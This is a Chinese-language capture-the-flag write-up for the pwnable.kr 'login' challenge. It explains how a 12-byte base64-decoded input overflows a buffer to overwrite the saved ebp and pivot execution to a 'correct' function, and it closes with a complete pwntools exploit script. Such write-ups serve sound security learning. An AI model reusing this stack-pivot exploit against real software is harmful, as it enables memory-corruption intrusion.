这道题目还是很有意思的。是自从参加了一次pwn培训之后的第一道题目,感觉确实比以前舒服多了。
下载题目,IDA反汇编,基本逻辑很简单,输入一个字符串,进行base64解密,然后比对长度,如果超过12个就直接报错。
漏洞点找了很久,这个漏洞点确实很巧妙。开始的时候,checksec了一下。
发现开启了栈执行保护,和缓冲区溢出保护。所以直接放弃了栈溢出这个思路,觉得应该另有简单路径。结果学了半天Base64Decode函数中的一大堆BIO,还是没找到相关漏洞。在这里浪费了不少时间。
所以又往下找到了auth函数,仔细一看果然在这里出现了问题。
这里的v4距离ebp只有8个字节,后面拷贝的时候却拷贝的是input的内容,而input中存储的是输入字符串base64解码后的内容。Input最大可以有12个字节!那么这里就存在一个溢出了,遗憾的是只能控制ebp。后面的返回地址控制不到。
但是只能控制ebp就足够了!ebp控制了,返回的时候,CPU只会觉得ebp后面就是返回地址。那么我们就把ebp改成input的地址吧! 这样的话,input的里面的第五个字节开始就会被认为是返回地址。
还有一个小坑的地方就是 correct函数里面竟然有一个判断,
这个就是判断input的前四个字节是不是deadbeef,因此一开始在这里也调试了好久!不仔细看correct函数的恶果。
所以payload就出来了,就是让最终的input也就是内容解码之后的前四个字节是0xdeadbeef,紧接着要是correct函数的地址,后面是input的地址用于溢出的时候控制ebp。
这几个地址都可以直接IDA看到。
所以最终payload如下:
from pwn import *
import base64
target = remote("pwnable.kr",9003)
correct = 0x804925f
inputs = 0x811eb40
payload = base64.b64encode("" + p32(0xdeadbeef) + p32(correct) + p32(inputs))
print payload + '\n'
target.recv()
sleep(0.5)
target.sendline(payload)
sleep(0.5)
target.interactive()